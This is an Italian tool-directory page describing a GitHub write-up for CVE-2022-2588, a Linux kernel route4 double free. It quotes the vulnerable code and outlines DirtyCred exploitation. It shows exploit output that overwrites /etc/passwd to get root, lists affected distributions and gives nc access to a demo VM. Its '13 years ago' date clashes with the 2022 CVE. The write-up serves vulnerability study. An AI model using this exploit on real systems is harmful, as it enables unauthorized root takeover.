Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-2588 | Kitploit
Strumenti/GitHubGitHub/dom4570/cve-2022-2588
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubdom4570/cve-2022-2588

CVE-2022-2588

Vedi Repository
13 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-2588

La correzione

Il bug è stato corretto in Linux v5.19 da questo commit.

Il bug

Il bug è stato introdotto in Linux v3.17 da questo commit nel 2014. Per essere innescato richiede gli User Namespaces. Questo bug è molto simile a CVE-2021-3715, causato da un'operazione non corretta sulla lista concatenata di route4_filter. Ulteriori dettagli su CVE-2021-3715 sono disponibili nella presentazione del Black Hat (pagina 16). Di seguito alcuni brevi dettagli su CVE-2022-2588.

La seguente sezione mostra alcuni snippet di codice importanti della funzione route4_change per comprendere CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La funzione è implementata per inizializzare/sostituire l'oggetto route4_filter. Il filtro usa handle come identificativo univoco per distinguere ogni filtro. Se esiste un handle che è già stato inizializzato in precedenza (cioè la variabile fold non è nulla), aggiorna il filtro rimuovendo il vecchio filtro e aggiungendone uno nuovo; altrimenti aggiunge semplicemente un nuovo filtro.

In [0], il kernel alloca l'oggetto route4_filter. In [1], se fold non è vuoto, cioè esiste un filtro con lo stesso handle, copia alcune informazioni nel nuovo filtro e inizializza il nuovo filtro in [2], quindi inserisce il nuovo filtro nella lista in [3]. Se il vecchio filtro esiste, viene rimosso dalla lista in [4] e liberato in [6].

Il bug si verifica in [4], dove si controlla se esiste un vecchio filtro da rimuovere. La condizione garantisce che l'handle non sia zero e che corrisponda all'handle del nuovo filtro. Questa condizione non è allineata con la condizione di liberazione del filtro in [6], che controlla solo se il vecchio filtro esiste. Pertanto, se un utente crea un filtro con handle 0 e poi ne innesca la sostituzione, il filtro non verrà rimosso dalla lista in [4] ma verrà liberato in [6], poiché le loro condizioni non sono le stesse.

Lo sfruttamento

Poiché questo bug è simile a CVE-2021-3715, le loro primitive sono quasi identiche. I lettori possono fare riferimento alla presentazione del Black Hat per una descrizione più dettagliata delle primitive. Questo write-up mostra lo sfruttamento basato sull'idea di DirtyCred.

Poiché il fold liberato è ancora nella lista concatenata dopo l'innesco del bug, possiamo liberare fold un'altra volta, il che alla fine causerà un double free sull'oggetto route4_filer e sull'oggetto route4_filter->exts.action se CONFIG_NET_CLS_ACT è abilitato.

I codici di exploit utilizzano queste due capacità di double free per dimostrare l'attacco alle credenziali dei task (utilizzando il double free su kmalloc-192, in arrivo) e alle credenziali dei file aperti (utilizzando il double free su kmalloc-256).

Attacco alle credenziali dei file

Seguendo l'idea di DirtyCred, il codice dell'exploit scambia le credenziali del file dopo i controlli dei permessi, così possiamo scrivere qualsiasi contenuto in file con permesso di sola lettura. Idealmente, il codice dovrebbe funzionare su tutte le versioni del kernel affette dal bug. Si noti che, per garantire il funzionamento sui kernel più vecchi dove msg_msg è isolato in kmalloc-rcl-*, l'exploit utilizza un oggetto di spray diverso.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

L'exploit è stato scritto per funzionare sul maggior numero possibile di distribuzioni. È stato confermato funzionare su:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(Sentiti libero di inviare una PR per aggiornare questa lista se scopri che funziona su altri kernel.)

Vuoi provare l'exploit nella VM?

Accedi con l'utente low e la password low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Scarica lo strumento